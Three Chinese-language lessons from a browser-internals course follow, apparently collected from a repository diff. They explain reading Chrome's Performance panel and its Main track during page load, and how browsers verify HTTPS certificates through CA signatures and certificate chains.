观察上面这个任务记录的图形你可以把该图形看成是下面Task函数的执行过程
```
function A(){
A1()
A2()
}
function Task(){
A()
B()
}
Task()
```
结合代码和上面的图形,我们可以得出以下信息:
- Task任务会首先调用A过程
- 随后A过程又依次调用了A1和A2过程然后A过程执行完毕
- 随后Task任务又执行了B过程
- B过程执行结束Task任务执行完成
- 从图中可以看出A过程执行时间最长所以在A1过程时拉长了整个任务的执行时长。
## 分析页面加载过程
通过以上介绍相信你已经掌握了如何解读Main指标中的任务了那么接下来我们就可以结合Main指标来分析页面的加载过程。我们先来分析一个简单的页面代码如下所示
```
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Main&lt;/title&gt;
&lt;style&gt;
area {
border: 2px ridge;
}
box {
background-color: rgba(106, 24, 238, 0.26);
height: 5em;
margin: 1em;
width: 5em;
}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;area&quot;&gt;
&lt;div class=&quot;box rAF&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;script&gt;
function setNewArea() {
let el = document.createElement('div')
el.setAttribute('class', 'area')
el.innerHTML = '&lt;div class=&quot;box rAF&quot;&gt;&lt;/div&gt;'
document.body.append(el)
}
setNewArea()
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
```
观察这段代码我们可以看出它只是包含了一段CSS样式和一段JavaScript内嵌代码其中在JavaScript中还执行了DOM操作了我们就结合这段代码来分析页面的加载流程。
首先生成报告页再观察报告页中的Main指标由于阅读实际指标比较费劲所以我手动绘制了一些关键的任务和其执行过程如下图所示
<img src="https://static001.geekbang.org/resource/image/51/4b/5175c0405fa4d9d1a1e4fd261b92dc4b.png" alt="">
通过上面的图形我们可以看出,加载过程主要分为三个阶段,它们分别是:
1. 导航阶段该阶段主要是从网络进程接收HTML响应头和HTML响应体。
1. 解析HTML数据阶段该阶段主要是将接收到的HTML数据转换为DOM和CSSOM。
1. 生成可显示的位图阶段该阶段主要是利用DOM和CSSOM经过计算布局、生成层树(LayerTree)、生成绘制列表(Paint)、完成合成等操作,生成最终的图片。
那么接下来我就按照这三个步骤来介绍如何解读Main指标上的数据。
#### 导航阶段
我们先来看**导航阶段**,不过在分析这个阶段之前,我们简要地回顾下导航流程,大致的流程是这样的:
当你点击了Performance上的重新录制按钮之后浏览器进程会通知网络进程去请求对应的URL资源一旦网络进程从服务器接收到URL的响应头便立即判断该响应头中的content-type字段是否属于text/html类型如果是那么浏览器进程会让当前的页面执行退出前的清理操作比如执行JavaScript中的beforunload事件清理操作执行结束之后就准备显示新页面了这包括了解析、布局、合成、显示等一系列操作。
因此,在导航阶段,这些任务实际上是在老页面的渲染主线程上执行的。如果你想要了解导航流程的详细细节,我建议你回顾下《[04 | 导航流程从输入URL到页面展示这中间发生了什么](https://time.geekbang.org/column/article/117637)》这篇文章,在这篇文中我们有介绍导航流程,而导航阶段和导航流程又有着密切的关联。
回顾了导航流程之后,我们接着来分析第一个阶段的任务图形,为了让你更加清晰观察上图中的导航阶段,我将其放大了,最终效果如下图所示:
<img src="https://static001.geekbang.org/resource/image/39/f3/39c8e28df9e60f2e0d8378da350dc6f3.png" alt="">
观察上图,如果你熟悉了导航流程,那么就很容易根据图形分析出这些任务的执行流程了。
具体地讲,当你点击重新加载按钮后,当前的页面会执行上图中的这个任务:
- 该任务的第一个子过程就是Send request该过程表示网络请求已被发送。然后该任务进入了等待状态。
- 接着由网络进程负责下载资源当接收到响应头的时候该任务便执行Receive Respone过程该过程表示接收到HTTP的响应头了。
- 接着执行DOM事件pagehide、visibilitychange和unload等事件如果你注册了这些事件的回调函数那么这些回调函数会依次在该任务中被调用。
- 这些事件被处理完成之后那么接下来就接收HTML数据了这体现在了Recive Data过程Recive Data过程表示请求的数据已被接收如果HTML数据过多会存在多个 Receive Data 过程。
等到所有的数据都接收完成之后渲染进程会触发另外一个任务该任务主要执行Finish load过程该过程表示网络请求已经完成。
#### 解析HTML数据阶段
好了,导航阶段结束之后,就进入到了**解析HTML数据阶段**了这个阶段的主要任务就是通过解析HTML数据、解析CSS数据、执行JavaScript来生成DOM和CSSOM。那么下面我们继续来分析这个阶段的图形看看它到底是怎么执行的同样我也放大了这个阶段的图形你可以观看下图
<img src="https://static001.geekbang.org/resource/image/89/9d/89f2f61ed51d7a543390c4262489479d.png" alt="">
观察上图这个图形我们可以看出其中一个主要的过程是HTMLParser顾名思义这个过程是用来解析HTML文件解析的就是上个阶段接收到的HTML数据。
1. 在ParserHTML的过程中如果解析到了script标签那么便进入了脚本执行过程也就是图中的Evalute Script。
1. 我们知道要执行一段脚本我们需要首先编译该脚本于是在Evalute Script过程中先进入了脚本编译过程也就是图中的Complie Script。脚本编译好之后就进入程序执行过程执行全局代码时V8会先构造一个anonymous过程在执行anonymous过程中会调用setNewArea过程setNewArea过程中又调用了createElement由于之后调用了document.append方法该方法会触发DOM内容的修改所以又强制执行了ParserHTML过程生成的新的DOM。
1. DOM生成完成之后会触发相关的DOM事件比如典型的DOMContentLoaded还有readyStateChanged。
DOM生成之后ParserHTML过程继续计算样式表也就是Reculate Style这就是生成CSSOM的过程关于Reculate Style过程你可以参考我们在《[05 | 渲染流程HTML、CSS和JavaScript是如何变成页面的](https://time.geekbang.org/column/article/118205)》节的内容到了这里一个完整的ParserHTML任务就执行结束了。
#### 生成可显示位图阶段
生成了DOM和CSSOM之后就进入了第三个阶段生成页面上的位图。通常这需要经历**布局(Layout)、分层、绘制、合成**等一系列操作,同样,我将第三个阶段的流程也放大了,如下图所示:
<img src="https://static001.geekbang.org/resource/image/2b/ce/2bfdcdbf340b0ee7ce5d8a6109a56bce.png" alt="">
结合上图我们可以发现在生成完了DOM和CSSOM之后渲染主线程首先执行了一些DOM事件诸如readyStateChange、load、pageshow。具体地讲如果你使用JavaScript监听了这些事件那么这些监听的函数会被渲染主线程依次调用。
接下来就正式进入显示流程了,大致过程如下所示。
1. 首先执行布局,这个过程对应图中的**Layout**。
1. 然后更新层树(LayerTree),这个过程对应图中的**Update LayerTree。**
1. 有了层树之后,就需要为层树中的每一层准备绘制列表了,这个过程就称为**Paint。**
1. 准备每层的绘制列表之后,就需要利用绘制列表来生成相应图层的位图了,这个过程对应图中的**Composite Layers**。
走到了Composite Layers这步主线程的任务就完成了接下来主线程会将合成的任务完全教给合成线程来执行下面是具体的过程你也可以对照着**Composite、Raster和GPU**这三个指标来分析,参考下图:
<img src="https://static001.geekbang.org/resource/image/e6/12/e60c8c65dd3d364f73c19d4b0475d112.png" alt="">
结合渲染流水线和上图,我们再来梳理下最终图像是怎么显示出来的。
1. 首先主线程执行到Composite Layers过程之后便会将绘制列表等信息提交给合成线程合成线程的执行记录你可以通过**Compositor指标**来查看。
1. 合成线程维护了一个**Raster**线程池,线程池中的每个线程称为**Rasterize**,用来执行光栅化操作,对应的任务就是**Rasterize Paint**。
1. 当然光栅化操作并不是在**Rasterize线程**中直接执行的而是在GPU进程中执行的因此Rasterize线程需要和GPU线程保持通信。
1. 然后GPU生成图像最终这些图层会被提交给浏览器进程浏览器进程将其合成并最终显示在页面上。
#### 通用分析流程
通过对Main指标的分析我们把导航流程解析流程和最终的显示流程都串起来了通过Main指标的分析我们对页面的加载过程执行流程又有了新的认识虽然实际情况比这个复杂但是万变不离其宗所有的流程都是围绕这条线来展开的也就是说先经历导航阶段然后经历HTML解析最后生成最终的页面。
## 总结
本文主要的目的是让我们学会如何分析Main指标。通过页面加载过程的分析就能掌握一套标准的分析Main指标的方法在该方法中我将加载过程划分为三个阶段
1. 导航阶段;
1. 解析HTML文件阶段
1. 生成位图阶段。
在导航流程中主要是处理响应头的数据并执行一些老页面退出之前的清理操作。在解析HTML数据阶段主要是解析HTML数据、解析CSS数据、执行JavaScript来生成DOM和CSSOM。最后在生成最终显示位图的阶段主要是将生成的DOM和CSSOM合并这包括了布局(Layout)、分层、绘制、合成等一系列操作。
通过Main指标我们完整地分析了一个页面从加载到显示的过程了解这个流程我们自然就会去分析页面的性能瓶颈比如你可以通过Main指标来分析JavaScript是否执行时间过久或者通过Main指标分析代码里面是否存在强制同步布局等操作分析出来这些原因之后我们可以有针对性地去优化我们的程序。
## 思考题
在《[18](https://time.geekbang.org/column/article/135624)[|](https://time.geekbang.org/column/article/135624) [宏任务和微任务](https://time.geekbang.org/column/article/135624)[:不是所有任务都是一个待遇](https://time.geekbang.org/column/article/135624)》这节中介绍微任务时,我们提到过,在一个任务的执行过程中,会在一些特定的时间点来检查是否有微任务需要执行,我们把这些特定的检查时间点称为**检查点。**了解了检查点之后你可以通过Performance的Main指标来分析下面这两段代码
```
&lt;body&gt;
&lt;script&gt;
let p = new Promise(function (resolve, reject) {
resolve(&quot;成功!&quot;);
});
p.then(function (successMessage) {
console.log(&quot;p! &quot; + successMessage);
})
let p1 = new Promise(function (resolve, reject) {
resolve(&quot;成功!&quot;);
});
p1.then(function (successMessage) {
console.log(&quot;p1! &quot; + successMessage);
})
&lt;/script&gt;
&lt;/bod&gt;
```
```
&lt;body&gt;
&lt;script&gt;
let p = new Promise(function (resolve, reject) {
resolve(&quot;成功!&quot;);
});
p.then(function (successMessage) {
console.log(&quot;p! &quot; + successMessage);
})
&lt;/script&gt;
&lt;script&gt;
let p1 = new Promise(function (resolve, reject) {
resolve(&quot;成功!&quot;);
});
p1.then(function (successMessage) {
console.log(&quot;p1! &quot; + successMessage);
})
&lt;/script&gt;
&lt;/body&gt;
```
今天留给你的任务是结合Main指标来分析上面这两段代码中微任务执行的时间点有何不同并给出分析结果和原因。欢迎在留言区与我交流。
感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,129 @@
<audio id="audio" title="加餐六HTTPS浏览器如何验证数字证书" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/50/64/50aa22ae9f97ffa429e36f8993fef064.mp3"></audio>
你好,我是李兵。
在《[36HTTPS让数据传输更安全](https://time.geekbang.org/column/article/156181)》这篇文章中,我们聊了下面几个问题:
- HTTPS使用了对称和非对称的混合加密方式这解决了数据传输安全的问题
- HTTPS引入了中间机构CACA通过给服务器颁发数字证书解决了浏览器对服务器的信任问题
- 服务器向CA机构申请证书的流程
- 浏览器验证服务器数字证书的流程。
不过由于篇幅限制,关于“**浏览器如何验证数字证书”**的这个问题我们并没有展开介绍。那么今天我们就继续聊一聊这个问题。了解了这个问题可以方便我们把完整的HTTPS流程给串起来无论对于我们理解HTTPS的底层技术还是理解业务都是非常有帮助的。
因为本文是第36讲的延伸所以在分析之前我们还是有必要回顾下**数字证书申请流程**和**浏览器验证证书的流程**同时你最好也能回顾下第36讲。
## 数字证书申请流程
我们先来回顾下数字证书的申请流程比如极客时间向一个CA机构申请数字证书流程是什么样的呢
首先极客时间填写了一张含有**自己身份信息**的表单身份信息包括了自己公钥、站点资料、公司资料等信息然后将其提交给了CA机构CA机构会审核表单中内容的真实性审核通过后CA机构会拿出自己的私钥对表单的内容进行一连串操作包括了对明文资料进行Hash计算得出信息摘要 利用CA的私钥加密信息摘要得出数字签名最后将数字签名也写在表单上并将其返还给极客时间这样就完成了一次数字证书的申请操作。
大致流程你也可以参考下图:
<img src="https://static001.geekbang.org/resource/image/f5/a6/f569c80f8f4b25b3bf384037813cdca6.png" alt="">
## 浏览器验证证书的流程
现在极客时间的官网有了CA机构签发的数字证书那么接下来就可以将数字证书应用在HTTPS中了。
我们知道在浏览器和服务器建立HTTPS链接的过程中浏览器首先会向服务器请求数字证书之后浏览器要做的第一件事就是验证数字证书。那么这里所说的“验证”它到底是在验证什么呢
具体地讲,浏览器需要验证**证书的有效期**、**证书是否被CA吊销**、**证书是否<strong><strong>是**</strong>合法的CA机构颁发的。</strong>
数字证书和身份证一样也是有时间期限的,所以**第一部分就是验证证书的有效期**,这部分比较简单,因为证书里面就含有证书的有效期,所以浏览器只需要判断当前时间是否在证书的有效期范围内即可。
有时候有些数字证书被CA吊销了吊销之后的证书是无法使用的所以**第二部分就是验证数字证书是否被吊销了**。通常有两种方式,一种是下载吊销证书列表-CRL (Certificate Revocation Lists),第二种是在线验证方式-OCSP (Online Certificate Status Protocol) ,它们各有优缺点,在这里我就不展开介绍了。
最后,还要**验证极客时间的数字证书是否是CA机构颁发****的,**验证的流程非常简单:
- 首先,浏览器利用证书的原始信息计算出信息摘要;
- 然后,利用**CA的公钥**来解密数字证书中的**数字签名**,解密出来的数据也是信息摘要;
- 最后,判断这两个信息摘要是否相等就可以了。
<img src="https://static001.geekbang.org/resource/image/ae/08/ae7dbe9f8785441721deb1f7b316f708.png" alt="">
通过这种方式就验证了数字证书是否是由CA机构所签发的不过这种方式又带来了一个新的疑问**浏览器是怎么获取到CA公钥的**
## 浏览器是怎么获取到CA公钥的
通常当你部署HTTP服务器的时候除了部署当前的数字证书之外还需要部署CA机构的数字证书CA机构的数字证书包括了CA的公钥以及CA机构的一些基础信息。
因此,极客时间服务器就有了两个数字证书:
- 给极客时间域名的数字证书;
- 给极客时间签名的CA机构的数字证书。
然后在建立HTTPS链接时服务器会将这两个证书一同发送给浏览器于是浏览器就可以获取到CA的公钥了。
如果有些服务器没有部署CA的数字证书那么浏览器还可以通过网络去下载CA证书不过这种方式多了一次证书下载操作会拖慢首次打开页面的请求速度一般不推荐使用。
现在浏览器端就有了极客时间的证书和CA的证书完整的验证流程就如下图所示
<img src="https://static001.geekbang.org/resource/image/cb/d3/cb150e316f4847c71288a8df50bfebd3.png" alt="">
我们有了CA的数字证书也就可以获取得CA的公钥来验证极客时间数字证书的可靠性了。
解决了获取CA公钥的问题新的问题又来了如果这个证书是一个恶意的CA机构颁发的怎么办所以我们还需要**浏览器证明这个CA机构是个合法的机构。**
## 证明CA机构的合法性
这里并没有一个非常好的方法来证明CA的合法性妥协的方案是直接在操作系统中内置这些CA机构的数字证书如下图所示
<img src="https://static001.geekbang.org/resource/image/43/0b/43a732eb2ba47d06fbef20c515bd990b.png" alt="">
我们将所有CA机构的数字证书都内置在操作系统中这样当需要使用某CA机构的公钥时我们只需要依据CA机构名称就能查询到对应的数字证书了然后再从数字证书中取出公钥。
可以看到,这里有一个假设条件,浏览器默认信任操作系统内置的证书为合法证书,虽然这种方式不完美,但是却是最实用的一个。
不过这种方式依然存在问题,因为在实际情况下,**CA机构众多因此操作系统不可能将每家CA的数字证书都内置进操作系统**。
## 数字证书链
于是人们又想出来一个折中的方案,将颁发证书的机构划分为两种类型,**根CA(Root CAs)<strong>和**中间CA(Intermediates CAs)</strong>通常申请者都是向中间CA去申请证书的而根CA作用就是给中间CA做认证一个根CA会认证很多中间的CA而这些中间CA又可以去认证其他的中间CA。
因此每个根CA机构都维护了一个树状结构一个根CA下面包含多个中间CA而中间CA又可以包含多个中间CA。这样就形成了一个证书链你可以沿着证书链从用户证书追溯到根证书。
比如你可以在Chrome上打开极客时间的官网然后点击地址栏前面的那把小锁你就可以看到*.geekbang.org的证书是由中间CA GeoTrust RSA CA2018颁发的而中间CA GeoTrust RSA CA2018又是由根CA DigiCert Global Root CA颁发的所以这个证书链就是*.geekbang.org—&gt;GeoTrust RSA CA2018&gt;DigiCert Global Root CA。你可以参看下图
<img src="https://static001.geekbang.org/resource/image/10/b7/10616d8fc323d33bdecb09b503551cb7.png" alt="">
因此浏览器验证极客时间的证书时,会先验证*.geekbang.org的证书如果合法再验证中间CA的证书如果中间CA也是合法的那么浏览器会继续验证这个中间CA的根证书。
到了这里,依然存在一个问题,那就是**浏览器怎么证明根证书是合法的?**
## 如何验证根证书的合法性
其实浏览器的判断策略很简单,它只是简单地判断这个根证书在不在操作系统里面,如果在,那么浏览器就认为这个根证书是合法的,如果不在,那么就是非法的。
如果某个机构想要成为根CA并让它的根证书内置到操作系统中那么这个机构首先要通过WebTrust国际安全审计认证。
什么是WebTrust认证
WebTrust是由两大著名注册会计师协会AICPA美国注册会计师协会和CICA加拿大注册会计师协会共同制定的安全审计标准主要对互联网服务商的系统及业务运作逻辑安全性、保密性等共计七项内容进行近乎严苛的审查和鉴证。 只有通过WebTrust国际安全审计认证根证书才能预装到主流的操作系统并成为一个可信的认证机构。
目前通过WebTrust认证的根CA有 Comodo、geotrust、rapidssl、symantec、thawte、digicert等。也就是说这些根CA机构的根证书都内置在个大操作系统中只要能从数字证书链往上追溯到这几个根证书浏览器就会认为使用者的证书是合法的。
## 总结
好了,今天的内容就介绍到这里,下面我们总结下本文的主要内容:
我们先回顾了数字证书的申请流程,接着我们重点介绍了浏览器是如何验证数字证书的。
首先浏览器需要CA的数字证书才能验证极客时间的数字证书接下来我们需要验证CA证书的合法性最简单的方法是将CA证书内置在操作系统中。
不过CA机构非常多内置每家的证书到操作系统中是不现实的于是我们采用了一个折中的策略将颁发证书的机构划分为两种类型**根CA(Root CAs)<strong>和**中间CA(Intermediates CAs)</strong>通常申请者都是向中间CA去申请证书的而根CA作用就是给中间CA做认证一个根CA会认证很多中间的CA而这些中间CA又可以去认证其他的中间CA。
于是又引出了数字证书链浏览器先利用中间CA的数字证书来验证用户证书再利用根证书来验证中间CA证书的合法性最后浏览器会默认相信内置在系统中的根证书。不过要想在操作系统内部内置根证书却并不容易这需要通过WebTrust认证这个认证审核非常严格。
通过分析这个流程可以发现,浏览器默认信任操作系统内置的根证书,这也会带来一个问题,如果黑客入侵了你的电脑,那么黑客就有可能往你系统中添加恶意根数字证书,那么当你访问黑客站点的时候,浏览器甚至有可能会提示该站点是安全的。
因此HTTPS并非是绝对安全的采用HTTPS只是加固了城墙的厚度但是城墙依然有可能被突破。
## 课后思考
今天留给你的任务是复述下浏览器是怎么验证数字证书的,如果中间卡住了,欢迎在留言区提问交流。
感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,144 @@
<audio id="audio" title="加餐四页面性能工具如何使用Performance" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/80/df/80439d418173ccc067e6a7e567928fdf.mp3"></audio>
你好,我是李兵。
在分析页面性能时如果说Audits是道开胃菜那么Performance才是正餐之所这样说主要是因为Performance可以记录站点在运行过程中的性能数据有了这些性能数据我们就可以回放整个页面的执行过程这样就方便我们来定位和诊断每个时间段内页面的运行情况从而有效帮助我们找出页面的性能瓶颈。
不同于AuditsPerofrmance不会给出性能得分也不会给出优化建议它只是单纯地采集性能数据并将采集到的数据按照时间线的方式来展现我们要做的就是依据原始数据来分析Web应用的性能问题。
那么本节我们就继续深入聊聊如何使用Performance。通常使用Performance需要分三步走
1. 第一步是配置Performance
1. 第二步是生成报告页;
1. 第三步就是人工分析报告页,并找出页面的性能瓶颈。
接下来我会根据上面这三个步骤带你熟悉Performace并让你了解如何使用Performance来分析页面性能数据。
## 配置Performance
我们在Chrome中任意打开一个站点再打开Chrome开发者工具然后选择Performance标签最终效果如下图所示
<img src="https://static001.geekbang.org/resource/image/03/1c/036585de056964e025b9ed2ecd2bde1c.png" alt="">
上图就是Performance的配置页观察图中区域1我们可以设置该区域中的“Network”来限制网络加载速度设置“CPU”来限制CPU的运算速度。通过设置我们就可以在Chrome浏览器上来模拟手机等性能不高的设备了。在这里我将CPU的运算能力降低到了**1/6**,将网络的加载速度设置为“**快的3G(Fast 3G)**”用来模拟3G的网络状态。
不同于Audits只能监控加载阶段的性能数据Performance还可以监控交互阶段的性能数据不过Performance是分别录制这两个阶段的你可以查看上图区域2和区域3我们可以看到这里有两个按钮上面那个黑色按钮是用来记录交互阶段性能数据的下面那个带箭头的圆圈形按钮用来记录加载阶段的性能数据。
另外你还要注意一点,这两种录制方式稍微有点不同:
- 当你**录制加载**阶段的性能数据时Performance会重新刷新页面并等到页面完全渲染出来后Performance就会自动停止录制。
- 如果你是**录制交互阶段**的性能时,那么需要手动停止录制过程。
## 认识报告页
无论采用哪种方式录制,最终所生成的报告页都是一样的,如下图所示:
<img src="https://static001.geekbang.org/resource/image/89/e3/89164eac8a512e7a677e6e7bc88068e3.png" alt="">
观察上图的报告页,我们可以将它分为三个主要的部分,分别为**概览面板、性能指标面板和详情面板**。
要熟练掌握这三个面板我们需要先明白时间线的概念这是因为概览面板和性能指标面板都依赖于时间线。我们知道Performance按照时间的顺序来记录每个时间节点的性能数据然后再按照时间顺序来展示这些性能数据那么展示的时候就必然要引入时间线了。比如上图中我们录制了10000毫秒那么它的时间线长度也就是10000毫秒体现在上图中就是概览面板最上面那条线。
#### 1. 概览面板
好了,引入了时间线,**Performance就会将几个关键指标诸如页面帧速(FPS)、CPU资源消耗、网络请求流量、V8内存使用量(堆内存)等,按照时间顺序做成图表的形式展现出来,这就是概览面板**,你可以参看上图。
有了概览面板,我们就能一览几个关键的历史数据指标,进而能快速定位到可能存在问题的时间节点。那么如何定位可能存在问题的时间节点呢?
- 如果FPS图表上出现了红色块那么就表示红色块附近渲染出一帧所需时间过久帧的渲染时间过久就有可能导致页面卡顿。
- 如果CPU图形占用面积太大表示CPU使用率就越高那么就有可能因为某个JavaScript占用太多的主线程时间从而影响其他任务的执行。
- 如果V8的内存使用量一直在增加就有可能是某种原因导致了内存泄漏。
除了以上指标以外概览面板还展示加载过程中的几个关键时间节点如FP、LCP、DOMContentLoaded、Onload等事件产生的时间点。这些关键时间点体现在了几条不同颜色的竖线上。
#### 2. 性能面板
通常,我们通过概览面板来定位到可能存在问题的时间节点,接下来需要更进一步的数据,来分析导致该问题的原因,那么应该怎么分析呢?
这就需要引入**性能面板**了,在性能面板中,记录了非常多的性能指标项,比如**Main**指标记录渲染主线程的任务执行过程,**Compositor指标**记录了合成线程的任务执行过程,**GPU指标**记录了GPU进程主线程的任务执行过程。有了这些详细的性能数据就可以帮助我们轻松地定位到页面的性能问题。
简而言之,**我们通过概览面板来定位问题的时间节点,然后再使用性能面板分析该时间节点内的性能数据**。具体地讲比如概览面板中的FPS图表中出现了红色块那么我们点击该红色块性能面板就定位到该红色块的时间节点内了你可以参考下图
<img src="https://static001.geekbang.org/resource/image/8f/d5/8f029c84fb7606360a83c4a1f01627d5.png" alt="">
观察上图我们发现性能面板的最上方也有一段时间线比如上面这个时间线所展示的是从360毫秒到480毫秒这段时间就是我们所定位到的时间节点下面所展示的Network、Main等都是该时间节点内的详细数据。
如果你想要查看事件范围更广的性能指标你只需要将鼠标放到时间线上滚动鼠标滚轮就可以就行缩放了。如果放大之后要查看的内容如果超出了屏幕那么你可以点击鼠标左键来拖动时间线直到找到需要查看的内容你也可以通过键盘上的“WASD”四个键来进行缩放和位置的移动。
#### 3. 解读性能面板的各项指标
好了,现在我们了解性能面板,它主要用来展现**特定时间段内的多种性能指标数据**。那么要分析这些指标数据,我们就要明白这些指标数据的含义,不过要弄明白它们却并非易事,因为要很好地理解它们,**你需要掌握渲染流水线、浏览器进程架构、导航流程等知识点。**
因此在介绍性能指标之前,我们还需要岔开一下,回顾下这些前置的知识点。
因为浏览器的渲染机制过于复杂所以渲染模块在执行渲染的过程中会被划分为很多子阶段输入的HTML数据经过这些子阶段最后输出屏幕上的像素我们把这样的一个处理流程叫做**渲染流水线**。一条完整的渲染流水线包括了解析HTML文件生成DOM、解析CSS生成CSSOM、执行JavaScript、样式计算、构造布局树、准备绘制列表、光栅化、合成、显示等一系列操作。
渲染流水线主要是在渲染进程中执行的在执行渲染流水线的过程中渲染进程又需要网络进程、浏览器进程、GPU等进程配合才能完成如此复杂的任务。另外在渲染进程内部又有很多线程来相互配合。具体的工作方式你可以参考下图
<img src="https://static001.geekbang.org/resource/image/a4/09/a40850fbdfbfa4f95e1416b86bb24a09.png" alt="">
关于渲染流水线和浏览器进程架构的详细内容我在前面的章节中也做了很多介绍,特别是《[05 | 渲染流程HTML、CSS和JavaScript是如何变成页面的](https://time.geekbang.org/column/article/118205)》和《[06渲染流程HTML、CSS和JavaScript是如何变成页面的](https://time.geekbang.org/column/article/118826)》这两节,你可以去回顾下相关章节的课程内容。
好了,我们简要回顾了渲染流水线和浏览器的进程架构,那么现在回归正题,来分析下性能面板各个指标项的具体含义。你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/8b/3f/8bb592424abcef144aea6cd663d3593f.png" alt="图片: https://uploader.shimo.im/f/hJhJWqCnFLg92XnR.png">
观看上图的左边我们可以看到它是由很多性能指标项组成的比如Network、Frames、Main等下面我们就来一一分析这些性能指标项的含义。
我们先看最为重要的**Main指标**它记录了渲染进程的主线程的任务执行记录在Perofrmace录制期间在渲染主线程上执行的所有记录都可以通过Main指标来查看你可以通过点击Main来展开主进程的任务执行记录具体你可以观察下图
<img src="https://static001.geekbang.org/resource/image/b4/03/b488c30b769f5289cd165c6844ebe803.png" alt="">
观察上图一段段横条代表执行一个个任务长度越长花费的时间越多竖向代表该任务的执行记录。通过前面章节的学习我们知道主线程上跑了特别多的任务诸如渲染流水线的大部分流程JavaScript执行、V8的垃圾回收、定时器设置的回调任务等等因此Main指标的内容非常多而且非常重要所以我们在使用Perofrmance的时候大部分时间都是在分析Main指标。Main指标的内容特别多我会在下一节对它做详细分析。
通过渲染流水线,我们知道了渲染主线程在生成层树(LayerTree)之后,然后根据层树生成每一层的绘制列表,我们把这个过程称为**绘制(Paint)**。在绘制阶段结束之后,渲染主线程会将这些绘列表制**提交(commit)<strong>给合成线程并由合成线程合成出来漂亮的页面。因此监控合成线程的任务执行记录也相对比较重要所以Chrome又在性能面板中引入了**Compositor指标</strong>,也就是合成线程的任务执行记录。
在合成线程执行任务的过程中还需要GPU进程的配合来生成位图我们把这个GPU生成位图的过程称为**光栅化**。如果合成线程直接和GPU进程进行通信那么势必会阻塞后面的合成任务因此合成线程又维护了一个**光栅化线程池(Raster)**用来让GPU执行光栅化的任务。因为光栅化线程池和GPU进程中的任务执行也会影响到页面的性能所以性能面板也添加了这两个指标分别是**Raster指标**和**GPU指标**。因为Raster是线程池所以如果你点开Raster项可以看到它维护了多个线程。
渲染进程中除了有主线程、合成线程、光栅化线程池之外还维护了一个IO线程具体细节你可以参考《[15 | 消息队列和事件循环:页面是怎么“活”起来的?](https://time.geekbang.org/column/article/132931)》这篇文章。该IO线程主要用来接收用户输入事件、网络事件、设备相关等事件如果事件需要渲染主线程来处理那么IO线程还会将这些事件转发给渲染主线程。在性能面板上**Chrome_ChildIOThread指标**对应的就是IO线程的任务记录。
好了以上介绍的都是渲染进程和GPU进程的任务记录除此之外性能面板还添加了其他一些比较重要的性能指标。
第一个是**Network指标**,网络记录展示了页面中的每个网络请求所消耗的时长,并以瀑布流的形式展现。这块内容和网络面板的瀑布流类似,之所以放在性能面板中是为了方便我们和其他指标对照着分析。
第二个是**Timings指标**用来记录一些关键的时间节点在何时产生的数据信息关于这些关键时间点的信息我们在上一节也介绍过了诸如FP、FCP、LCP等。
第三个是**Frames指标**,也就是浏览器生成每帧的记录,我们知道页面所展现出来的画面都是由渲染进程一帧一帧渲染出来的,帧记录就是用来记录渲染进程生成所有帧信息,包括了渲染出每帧的时长、每帧的图层构造等信息,你可以点击对应的帧,然后在详细信息面板里面查看具体信息。
第四个是**Interactions指标**,用来记录用户交互操作,比如点击鼠标、输入文字等交互信息。
#### 4. 详情面板
通过性能面板的分析,我们知道了性能面板记录了多种指标的数据信息,并且以图形的形式展现在性能面板上。
具体地讲比如主线程上执行了解析HTML(ParserHTML)的任务,对应于性能面板就是一个长条和多个竖条组成图形。通过上面的图形我们只能得到一个大致的信息,如果想要查看这些记录的详细信息,就需要引入**详情面板**了。
你可以通过在性能面板中选中性能指标中的任何历史数据然后选中记录的细节信息就会展现在详情面板中了。比如我点击了Main指标中的ParserHTML这个过程下图就是详情面板展现该过程的详细信息。
<img src="https://static001.geekbang.org/resource/image/61/94/6148b6e934c8cf21319b9cc5bb3c5094.png" alt="">
由于详情面板所涉及的内容很多而且每种指标的详细内容都有所不同所以本节我就不展开来讲了。另外你可以去Google的官方网站查看Performance的一些[基础使用信息](https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/timeline-tool?hl=zh-CN)。
## 总结
好了,本节内容就介绍到这里,下面我来总结下本文的主要内容:
本节我们首先介绍了如何去配置Performance并生成报告页然后我们将焦点放在了如何解读报告页上。
之后我们介绍了报告页面主要分为三个部分,概览面板、性能面板和详情面板。
我们可以通过概览面板来定位问题的时间节点,然后再使用性能面板分析该时间节点内的性能数据。不过在分析数据时,我们需要弄明白性能面板内各项数据指标的含义,要了解这些,需要了解浏览器渲染流水线、浏览器的进程架构等知识点,因此结合这些知识点,我们接下来分析了性能面板的各项指标的含义。
其中最为重要的是Main指标它记录了渲染主线程上的任务执行情况不过这块细节内容会非常多所以我们会在下一节来介绍。
最后我们还介绍了每个指标项的内容都有详细数据,这些详细数据是通过详情面板来展现,你只需要通过性能面板点击相应的数据,就能通过详情面板来查看详细数据了。不过详情面板所涉及的数据也是非常多的,所以本文也就没对详情面板做过深的介绍了。
我把Performance比喻成一张网它能把我们在前面章节中很多知识点都网罗起来并应用到实践中。
## 思考题
那么今天留给你的任务是多找几个站点使用Performance来录制加载过程和交互过程并熟悉报告页面中的各项性能指标如果有遇到不明白的问题欢迎在留言区留言与我交流。
感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。